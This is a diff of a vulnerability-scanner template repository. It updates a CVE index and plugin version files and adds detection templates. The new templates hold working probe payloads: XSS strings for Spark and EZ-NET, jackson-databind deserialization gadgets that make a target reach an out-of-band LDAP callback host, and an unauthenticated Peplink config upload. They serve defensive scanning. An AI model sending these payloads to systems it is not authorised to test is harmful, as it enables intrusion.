 {"ID":"CVE-2025-4388","Info":{"Name":"Liferay Portal 'marketplace-app-manager-web' - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.131, and Liferay DXP 2024.Q4.0 through 2024.Q4.5, 2024.Q3.1 through 2024.Q3.13, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 7.4 GA through update 92 allows an remote non-authenticated attacker to inject JavaScript into the modules/apps/marketplace/marketplace-app-manager-web.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-4388.yaml"}
 {"ID":"CVE-2025-4396","Info":{"Name":"Relevanssi \u003c= 4.24.4 (Free) - Unauthenticated SQL Injection","Severity":"high","Description":"The Relevanssi – A Better Search plugin for WordPress is vulnerable to time-based SQL Injection via the cats and tags query parameters in all versions up to, and including, 4.24.4 (Free) and \u003c= 2.27.4 (Premium) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries to already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4396.yaml"}
 {"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
@@ -3106,12 +3120,17 @@
 {"ID":"CVE-2025-47812","Info":{"Name":"Wing FTP Server \u003c= 7.4.3 - Remote Code Execution","Severity":"critical","Description":"Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).\nThe vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection\ninto session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting\nin arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-47812.yaml"}
 {"ID":"CVE-2025-47813","Info":{"Name":"Wing FTP Server \u003c= 7.4.3 - Path Disclosure via Overlong UID Cookie","Severity":"medium","Description":"Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability (CVE-2025-47813).\nThe vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an\noverlong UID value causes the server to respond with an error that includes the full local filesystem path. This can aid in further\nexploitation (e.g., CVE-2025-47812) by revealing the application’s file system layout.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-47813.yaml"}
 {"ID":"CVE-2025-47916","Info":{"Name":"Invision Community \u003c=5.0.6 Unauthenticated RCE via Template Injection","Severity":"critical","Description":"Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-47916.yaml"}
+{"ID":"CVE-2025-48827","Info":{"Name":"vBulletin 5.0.0-6.0.3 - Authentication Bypass","Severity":"critical","Description":"vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-48827.yaml"}
 {"ID":"CVE-2025-48828","Info":{"Name":"vBulletin replaceAdTemplate - Remote Code Execution","Severity":"critical","Description":"vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted \u003cvb:if\u003e conditional that executes arbitrary PHP code via passthru($_POST[\u003cparam\u003e]), and triggering it with a second request to ajax/render/ad_\u003clocation\u003e, attackers can run arbitrary commands on the server as the webserver user.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-48828.yaml"}
 {"ID":"CVE-2025-49113","Info":{"Name":"Roundcube Webmail - Remote Code Execution","Severity":"critical","Description":"Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-49113.yaml"}
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
+{"ID":"CVE-2025-49493","Info":{"Name":"Akamai CloudTest \u003c 60 2025.06.02 - XML External Entity (XXE)","Severity":"critical","Description":"Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-49493.yaml"}
 {"ID":"CVE-2025-5086","Info":{"Name":"Dassault Systèmes DELMIA Apriso (up to 2025) - Insecure Deserialization","Severity":"critical","Description":"A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.\n","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2025/CVE-2025-5086.yaml"}
+{"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
+{"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
+{"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-2687","Info":{"Name":"Distccd v1 - Remote Code Execution","Severity":"high","Description":"distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"network/cves/2004/CVE-2004-2687.yaml"}
 {"ID":"CVE-2011-2523","Info":{"Name":"VSFTPD 2.3.4 - Backdoor Command Execution","Severity":"critical","Description":"VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2011/CVE-2011-2523.yaml"}

cves.json-checksum.txt

@@ -1 +1 @@
-f49818993b002ec6c2bd227c0a16b3f4
+de976e25778b82d3231cbadb5afc9de0

dns/bimi-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=BIMI1(.+)"
-# digest: 490a00463044021f3dec084b1d2c1f40d94cb514cd6098ab498130c1b40bd1030a95fbe476432f022100a42be26e7d98c478e4a0a97209ddea0a09b1c6e4b39cfabb29584fbdea08555a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d5dfd8f992e6a79094583c1d78c126e0965da10f748cb7dc06035c01adcf22f502207a5e3145dd58525752aedf94fd4fcb13190524af8905930de8f754ce0757294d:922c64590222798bb761d5b6d8e72950

dns/fbi-seized-nameserver.yaml

@@ -35,4 +35,4 @@ dns:
         group: 1
         regex:
           - "IN\\tNS\\t(.+)"
-# digest: 4a0a0047304502210096d75201441ef6df04dab28e29fd600ddfbc601b470ffbc62fb71ec3d963e120022068d2ae1a12e41c4d3f9da888719af2b8bc21e72ad2f997f3fdeb43c3bb448387:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210093ce6083318e8c486c642a2c6b13cff96dccb6ca0850a607f1fa7e20521e0c13022100dc042fdc7d90a18ff58f4cabfbd08661710bac8fab54654c07495f0a1baac213:922c64590222798bb761d5b6d8e72950

dns/soa-detect.yaml

@@ -81,4 +81,4 @@ dns:
         name: "edge-cast"
         words:
           - "edgecastdns.net"
-# digest: 4a0a00473045022007358f350401a1b58f1ec32f847a4bdfb18e50d31b8fab1828c2b0c3fdf4f947022100c25b7a4d20d8a46b610a870f9ddbea4f3f12f526e57db0e00a73f45337dbfbdf:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210083ecc833f57cb86e7ce38791cb6dd1b6061c6179d37ad5df02f4d5de116fba78022100ee222739059e6892c38e37d1eaea5bb81f0081e361b1172f70daf8c7985bd9e3:922c64590222798bb761d5b6d8e72950

dns/spf-record-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=spf1(.+)"
-# digest: 4a0a0047304502204c01508a4252bce667206d754ffed70a8d0cf3eb514703fe5842f02d5720c534022100b987bd973849478d4c59058624576c9806976d4b6e7514b352833b5369f7ebc1:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a3aa7ade0d01f54331d13759794c1d4e393d548b26086c434fec4de79b45e5f802202113498ce665e59fcc9690ba99f3b6b7b66bdee81e58656a59a52737544b0bc9:922c64590222798bb761d5b6d8e72950

dns/txt-service-detect.yaml

@@ -218,4 +218,4 @@ dns:
         name: "whimsical"
         words:
           - "whimsical"
-# digest: 490a0046304402200dae5dc0e8e008f0074bdc8fbe55d26fb5c96ae58f43710893555efbcb2724c302200e12c144c858b2c53080d8cade5eba414e6a7951d394c087429dd8922c3c4831:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200d23913323645de10c1a1d9ba76ffedca4150affddbeee1e88a257d2532d158f0220045a6411cdc98aae2879fd8017ae2cb8f5e90ab143d47b2c4db37bc5f497834e:922c64590222798bb761d5b6d8e72950

file/logs/aspnet-framework-exceptions.yaml

@@ -22,4 +22,4 @@ file:
           - 'InvalidOperationException'
           - 'UnauthorizedAccessException'
           - 'NotFound'
-# digest: 4a0a00473045022100dec910af6434c193c5f733ffd89c161047ffc838eb5012281a3475d94aadafe80220654b83eebe67d34d91da8a8709c1cb1bb05bd3cd23aefaecde43e664d828d0a8:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c646b29f70dd909d357dc8c7e093155a8369ee81ce1ee67d0ff5b89a6adf3325022100a7a91fac56257c66de256476b94287bc74645fd5dc9a75a41f9f539107ee4771:922c64590222798bb761d5b6d8e72950

file/logs/nodejs-framework-exceptions.yaml

@@ -30,4 +30,4 @@ file:
           - 'BadRequestError'
           - 'MongoError'
           - 'SequelizeDatabaseError'
-# digest: 4a0a00473045022053f139b0c7ac98002bb2f98cbf81064c0e83f458257755e346e366fbc8f2972b02210083d3f8e7e1fd0a73074abfee15d5aee0262a11bb3cc7604de8bd1d9926915b62:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100999838ad5322f9db5837bf4972ddeba4698de41410ba47149c215e2d593871540220123071b3a602978556c1a3ba869e10cd7fd89f6fc168d643919ca1494697f068:922c64590222798bb761d5b6d8e72950

headless/cookie-consent-detection.yaml

@@ -31,4 +31,4 @@ headless:
       - type: status
         status:
           - 200
-# digest: 490a0046304402203dd51450e01d8640405d801116b427f5707bf2d2ebd001511ec5f300ab5d7f1302205276f447a2b383ba799a55f8786e86be7874c45a6a6635477bc427eb5d2f8789:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200c64d7d6ff7625168cfb7d9067e12f7b084b79e57248afd961731d5962d8ed82022100842d814c54e8ce0c57a4a42e3c9de8eecb0c3e88e565eea9f736ed20a4862993:922c64590222798bb761d5b6d8e72950

helpers/wordpress/plugins/all-in-one-wp-migration.txt

@@ -1 +1 @@
-7.95
+7.96

helpers/wordpress/plugins/astra-sites.txt

@@ -1 +1 @@
-4.4.28
+4.4.29

helpers/wordpress/plugins/better-wp-security.txt

@@ -1 +1 @@
-9.3.8
+9.3.9

helpers/wordpress/plugins/breeze.txt

@@ -1 +1 @@
-2.2.14
+2.2.15

helpers/wordpress/plugins/click-to-chat-for-whatsapp.txt

@@ -1 +1 @@
-4.24
+4.25

helpers/wordpress/plugins/cookie-notice.txt

@@ -1 +1 @@
-2.5.6
+2.5.7

helpers/wordpress/plugins/elementor.txt

@@ -1 +1 @@
-3.30.0
+3.30.2

helpers/wordpress/plugins/formidable.txt

@@ -1 +1 @@
-6.22
+6.22.3

helpers/wordpress/plugins/google-listings-and-ads.txt

@@ -1 +1 @@
-3.1.0
+3.1.1

helpers/wordpress/plugins/gtranslate.txt

@@ -1 +1 @@
-3.0.8
+3.0.9

helpers/wordpress/plugins/gutenberg.txt

@@ -1 +1 @@
-21.1.0
+21.1.1

helpers/wordpress/plugins/header-footer-elementor.txt

@@ -1 +1 @@
-2.4.3
+2.4.4

helpers/wordpress/plugins/host-webfonts-local.txt

@@ -1 +1 @@
-6.0.3
+6.0.5

helpers/wordpress/plugins/mailpoet.txt

@@ -1 +1 @@
-5.12.9
+5.12.10

helpers/wordpress/plugins/mainwp-child.txt

@@ -1 +1 @@
-5.4.0.10
+5.4.0.11

helpers/wordpress/plugins/megamenu.txt

@@ -1 +1 @@
-3.6.1
+3.6.2

helpers/wordpress/plugins/newsletter.txt

@@ -1 +1 @@
-8.9.1
+8.9.2

helpers/wordpress/plugins/ninja-forms.txt

@@ -1 +1 @@
-3.10.3
+3.10.4

helpers/wordpress/plugins/premium-addons-for-elementor.txt

@@ -1 +1 @@
-4.11.17
+4.11.18

helpers/wordpress/plugins/royal-elementor-addons.txt

@@ -1 +1 @@
-1.7.1026
+1.7.1027

helpers/wordpress/plugins/so-widgets-bundle.txt

@@ -1 +1 @@
-1.69.0
+1.69.1

helpers/wordpress/plugins/woocommerce-gateway-stripe.txt

@@ -1 +1 @@
-9.5.3
+9.6.0

helpers/wordpress/plugins/wp-maintenance-mode.txt

@@ -1 +1 @@
-2.6.18
+2.6.19

helpers/wordpress/plugins/wp-reviews-plugin-for-google.txt

@@ -1 +1 @@
-12.8
+12.9

helpers/wordpress/plugins/wpforms-lite.txt

@@ -1 +1 @@
-1.9.6.1
+1.9.6.2

helpers/wordpress/plugins/yith-woocommerce-wishlist.txt

@@ -1 +1 @@
-4.6.0
+4.7.0

http/cves/2018/CVE-2018-8024.yaml

@@ -29,7 +29,8 @@ info:
 http:
   - method: GET
     path:
-      - "{{BaseURL}}:4040/jobs/?\"'><script>alert(document.domain)</script>"
+      - "{{BaseURL}}/jobs/?\"'><script>alert(document.domain)</script>"
+      - "{{Host}}:4040/jobs/?\"'><script>alert(document.domain)</script>"
 
     matchers-condition: and
     matchers:
@@ -39,4 +40,4 @@ http:
           - "contains(content_type, 'text/html')"
           - "contains_all(body, '><script>alert(document.domain)</script>', 'Spark Jobs')"
         condition: and
-# digest: 490a004630440220112adc88e34ee6e0a80b6a096b9fba44a6583944279b71a6728a7599355ebd0c02200989cc42c27c1d7f1fcf1e80b0bb30cc1494d3921ba2249a8fabf70615938845:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100dfb423b59d0b04655b0d54c8c4ca8c61be7f7af3ec1585afc84e79b192cadd31022013aeefc230b09b602bc284466c8b3daf7b27fe8706568198529ba03562237371:922c64590222798bb761d5b6d8e72950

http/cves/2020/CVE-2020-25780.yaml

@@ -32,7 +32,7 @@ info:
 http:
   - method: POST
     path:
-      - "http://{{Host}}:81/SearchSvc/CVSearchService.svc"
+      - "{{BaseURL}}/SearchSvc/CVSearchService.svc"
 
     body: |
       <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
@@ -58,4 +58,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100fbd4f2a465f1231e1ecb2f0730dcc184b1fe559aac2bf8ac19636f5dcf3c24a502201a82b6e695b2eafa62222aa1338fe7db5748bcbcda53d47551e49bc953433bde:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220083a153204a26a6a3c89c107ffd4b81cdcc13d2e27325b6d7b0b6e6c41bd7f4c022100a300c523e948d7d0b8ae27e237f59a3dc8c58971a215f1e859ac72fed1ab5171:922c64590222798bb761d5b6d8e72950

http/cves/2020/CVE-2020-9547.yaml

@@ -0,0 +1,63 @@
+id: CVE-2020-9547
+
+info:
+  name: FasterXML jackson-databind - Deserialization Remote Code Execution
+  author: pranjalnegi
+  severity: critical
+  description: |
+    FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.
+  impact: |
+    Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.
+  remediation: |
+    Update FasterXML jackson-databind to version 2.9.10.4 or later. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.
+  reference:
+    - https://github.com/fairyming/CVE-2020-9547
+    - https://github.com/FasterXML/jackson-databind/issues/2620
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-9547
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-9547
+    cwe-id: CWE-502
+    epss-score: 0.00943
+    epss-percentile: 0.81205
+    cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 1
+    vendor: fasterxml
+    product: jackson-databind
+    verified: true
+  tags: cve,cve2020,jackson,databind,deserialization,rce,kev
+
+variables:
+  randstr: "{{rand_text_alphanumeric(8)}}"
+  payload_jndi_ldap: "ldap://{{interactsh-url}}/{{randstr}}"
+
+http:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        ["com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",{"properties":["java.util.Properties",{"UserTransaction":"{{payload_jndi_ldap}}"}]}]
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(interactsh_protocol, 'dns')"
+          - "contains_any(content_type, 'application/json', 'text/plain')"
+          - "status_code == 200 || status_code == 400 || status_code == 500"
+        condition: and
+
+      - type: word
+        part: body
+        words:
+          - "JsonMappingException"
+          - "InvalidTypeIdException"
+          - "JdbcRowSetImpl"
+          - "com.fasterxml.jackson.databind"
+          - "javax.naming.NamingException"
+        condition: or
+# digest: 4b0a00483046022100b6e38a8a252b2091a39ac8913665cfaeb16454605ae468d6dcf284ca43ee7e9a0221008900d2c444efb061974c438dca6a96c9be8c03c7668520d80d215c40ec9d2216:922c64590222798bb761d5b6d8e72950

http/cves/2020/CVE-2020-9548.yaml

@@ -0,0 +1,51 @@
+id: CVE-2020-9548
+
+info:
+  name: FasterXML Jackson Databind <=2.9.10.4 - Remote Code Execution
+  author: tomaquet18
+  severity: critical
+  description: |
+    FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-9548
+    - https://github.com/fairyming/CVE-2020-9548
+    - https://www.sangfor.com/blog/cybersecurity/fasterxml-jackson-databind-remote-code-execution-vulnerability-cve-2020-9548
+    - https://lists.apache.org/thread.html/r35d30db00440ef63b791c4b7f7acb036e14d4a23afa2a249cb66c0fd%40%3Cissues.zookeeper.apache.org%3E
+    - https://lists.apache.org/thread.html/r9464a40d25c3ba1a55622db72f113eb494a889656962d098c70c5bb1%40%3Cdev.zookeeper.apache.org%3E
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-9548
+    cwe-id: CWE-502
+    epss-score: 0.13945
+    epss-percentile: 0.93967
+    cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: fasterxml
+    product: jackson-databind
+  tags: cve,cve2020,jackson,fasterxml,rce
+
+http:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        [
+          "br.com.anteros.dbcp.AnterosDBCPConfig",
+          {
+            "healthCheckRegistry": "ldap://{{interactsh-url}}"
+          }
+        ]
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains(body, "Error: Class")'
+          - 'contains(content_type, "text/plain")'
+        condition: and
+# digest: 4a0a00473045022100a568e24385dc39f6d07eda0e4ad0fd862032bc573fde5274ac787b182e63692902203ec261c492cc7b5e4ed7c35e0eac379e7f1d0921fd14ce545da611783f9e6eff:922c64590222798bb761d5b6d8e72950

http/cves/2022/CVE-2022-23397.yaml

@@ -0,0 +1,41 @@
+id: CVE-2022-23397
+
+info:
+  name: Cedar Gate EZ-NET <= 6.8.0 - Cross-Site Scripting
+  author: srilakivarma
+  severity: medium
+  description: |
+    The Cedar Gate EZ-NET portal 6.5.5 6.8.0 Internet portal has a call to display messages to users which does not properly sanitize data sent in through a URL parameter. This leads to a Reflected Cross-Site Scripting vulnerability.
+  reference:
+    - https://ado.im/cedar-gate-ez-net
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-23397
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2022-23397
+    cwe-id: CWE-79
+    epss-score: 0.00228
+    epss-percentile: 0.45565
+    cpe: cpe:2.3:a:cedargate:ez-net_portal:6.5.5:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: cedargate
+    product: ez-net_portal
+    shodan-query: "EZNET_"
+    fofa-query: "EZNET_"
+  tags: cve,cve2022,cedar,eznet,xss
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/EZ-NET60/AlertMessages.aspx?Usertext=<img%20src%3Dx%20onerror%3Dalert(document.domain)>"
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains_all(body, "><img src=x onerror=alert(document.domain)></span>", "/EZ-NET60/")'
+          - 'contains(content_type, "text/html")'
+          - 'status_code == 200'
+        condition: and
+# digest: 490a0046304402204cfe21bc4dfe64ec9fdbc44d3b8eb76cbc98cdcf89f1c37a7919668504ea6fb402202955aed5d2449a6ce9b35a4ea547d54be7e4cf62f8b35ef6e429caf9e9588269:922c64590222798bb761d5b6d8e72950

http/cves/2023/CVE-2023-49230.yaml

@@ -0,0 +1,97 @@
+id: CVE-2023-49230
+
+info:
+  name: Peplink Balance Two before 8.4.0 - Unauthenticated Config Upload
+  author: srilakivarma
+  severity: high
+  description: |
+    A vulnerability in Peplink Balance Two prior to version 8.4.0 allows unauthenticated attackers to modify captive portal configurations due to a missing authorization check. Specifically, attackers can upload files via /guest/portal_admin_upload.cgi, with the changes reflected at /guest/preview.cgi?portal_id=1.
+  reference:
+    - https://www.synacktiv.com/publications%253Ffield_tags_target_id%253D4
+    - https://www.synacktiv.com/sites/default/files/2023-12/synacktiv-peplink-multiple-vulnerabilities.pdf
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-49230
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2023-49230
+    cwe-id: CWE-862
+    epss-score: 0.00091
+    epss-percentile: 0.27
+    cpe: cpe:2.3:o:peplink:balance_two_firmware:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: peplink
+    product: balance_two_firmware
+    shodan-query: html:"PEPLINK"
+  tags: cve,cve2023,peplink,intrusive,file-upload
+
+flow: http(1) && http(2) && http(3)
+variables:
+  button_value: "{{randstr}}"
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/MANGA/index.cgi"
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Peplink'
+        internal: true
+
+  - raw:
+      - |
+         POST /guest/portal_admin_upload.cgi HTTP/1.1
+         Host: {{Hostname}}
+         Content-Type: multipart/form-data; boundary=---------------------------370611892836891531633729116268
+
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="option"
+
+         edit_page
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="mode"
+
+         submit
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="portal_id"
+
+         1
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="data"
+
+         {"status":"ok","config":{"login":{"access_mode":"open","message":"","tnc_content":"Terms and Conditions.","tnc_title":"Terms and Conditions","tnc_link":"terms","tnc_prompt":"I agree to #TNC_LINK#","back_login_button":"Back to Login","agree_button":"{{button_value}}","session_id1":" ","session_id2":" "},"common":{"hide_quota":"no","landing_url":"","logo_url":"logo.cgi?portal_id=1&type=preview","logo_url_def":"logo.cgi?default=1","uploaded_logo_size":0,"footer":"Powered by Peplink.","footer_default":"Powered by Peplink."},"success":{},"reach_quota":{},"quota":{"limit":{"data":0,"session_timeout":1800}}}}
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="logo_action"
+
+         x
+         -----------------------------370611892836891531633729116268
+         Content-Disposition: form-data; name="logo"; filename=""
+         Content-Type: application/octet-stream
+
+         -----------------------------370611892836891531633729116268--
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"status": "save_success"'
+        internal: true
+
+  - raw:
+      - |
+        POST /guest/api.cgi HTTP/1.1
+        Host: {{Hostname}}
+
+        mode=info&option=preview&portal_id=1
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(body, '{{button_value}}')"
+          - "status_code == 200"
+        condition: and
+# digest: 4a0a00473045022063b3664d5e2d072fbce47514e4f266308b71a4535b3dcaf2d5d999297854b8c20221009f1e41f28b03025c209faffb6ec9780d443aa336c44d2b1a97c51262bc90add1:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-36527.yaml

@@ -33,4 +33,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022100ec37fd29521314237a495356958f593cc3cd2302b9ffe40da930adf1577ea9f8022013bdd51ac0b24951d9eb8b4157c63888e7089ddbae4c22f043d5bcc79c3a92b4:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022025550ae8a81d19e5360b7d937c7b6c76b53d11a158870be4d4f4fba4e832a7740220009b3ece6d3641529951089ccfd35c18724b5be4f985e23aa0a490d3254b3a99:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-50334.yaml

@@ -0,0 +1,43 @@
+id: CVE-2024-50334
+
+info:
+  name: Scoold < 1.64.0 - Authentication Bypass
+  author: xbow,iamnoooob,pdresearch
+  severity: medium
+  description: |
